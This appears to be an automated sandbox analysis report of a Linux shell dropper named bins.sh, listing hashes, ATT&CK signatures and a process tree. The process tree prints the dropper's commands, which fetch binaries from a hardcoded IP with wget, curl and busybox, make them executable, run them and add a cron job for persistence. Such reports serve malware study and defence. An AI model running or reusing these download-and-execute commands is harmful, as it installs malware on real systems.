Analysis
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max time kernel
149s -
max time network
113s -
platform
debian-9_armhf -
resource
debian9-armhf-20240611-en -
resource tags
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submitted
25-11-2024 08:17
General
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Target
bins.sh
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Size
10KB
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MD5
747b8345f3612d35549d1bab11e30196
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SHA1
8b239baf781200145912fbcc64c46168d7f09fe2
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SHA256
c79ab0c501bb9f67602ded8b5f2eefe6ed347421585d3507580d5e70f0f0db46
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SHA512
b6fbe756307aa4c57bbb192804f6e517c63ef03939bad331e1304c8b6ff2c0e82c5b16916533d15c62696f04f2dbb1e0535c7ed6403ac2b6478d36997edce994
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SSDEEP
96:PRJkI8scWD3b9eGyBNVGWbyT9Cjt9tokDAGRJSI8pOtuBNVGW1QD3b9eGX9N0TVV:PRJkScWD3b9eGxRC5RJ7L3b9eGA
Malware Config
Signatures
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File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
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Executes dropped EXE 1 IoCs
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Renames itself 1 IoCs
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Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
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Enumerates running processes
Discovers information about currently running processes on the system
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Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
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Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
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System Network Configuration Discovery 1 TTPs 1 IoCs
Adversaries may gather information about the network configuration of a system.
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Writes file to tmp directory 3 IoCs
Malware often drops required files in the /tmp directory.
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵
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/bin/rm/bin/rm bins.sh2⤵
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/usr/bin/wgetwget http://216.126.231.240/bins/rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db2⤵
- Writes file to tmp directory
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/usr/bin/curlcurl -O http://216.126.231.240/bins/rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db2⤵
- Checks CPU configuration
- Writes file to tmp directory
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db2⤵
- Writes file to tmp directory
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/bin/chmodchmod 777 rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db2⤵
- File and Directory Permissions Modification
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/tmp/rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db./rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
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/bin/shsh -c "crontab -l"3⤵
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/usr/bin/crontabcrontab -l4⤵
- Reads runtime system information
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/bin/shsh -c "crontab -"3⤵
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
- Reads runtime system information
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/bin/rmrm rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db2⤵
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/usr/bin/wgetwget http://216.126.231.240/bins/l6UYEbDnZWqFBl7H8QcUiPuhe6ICjSLcyd2⤵
- System Network Configuration Discovery
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Network
MITRE ATT&CK Enterprise v15
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
141KB
MD53ca8decdb1e52c423c521bfff02ac200
SHA18621ecd6807109b8541912ad9e134f6fb49bfd48
SHA256dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
SHA512b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a
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Filesize
210B
MD564dfe01b401abe633190691a015cc76a
SHA1921cda8832f902ef51ba14d85bd8c5a52dd026e8
SHA256e6a1e41fe1b6c54f65995ec3c4a5b2447ff3949853724f98ef177460fb103367
SHA5123d9fcf3b744e1d2c5c1a85d2252fac252f162bdf3e111653375ca409d706c518240d2c0277a161e6e47afa87345af657d5866c197f47a1a446dfe4b58e1c6b0f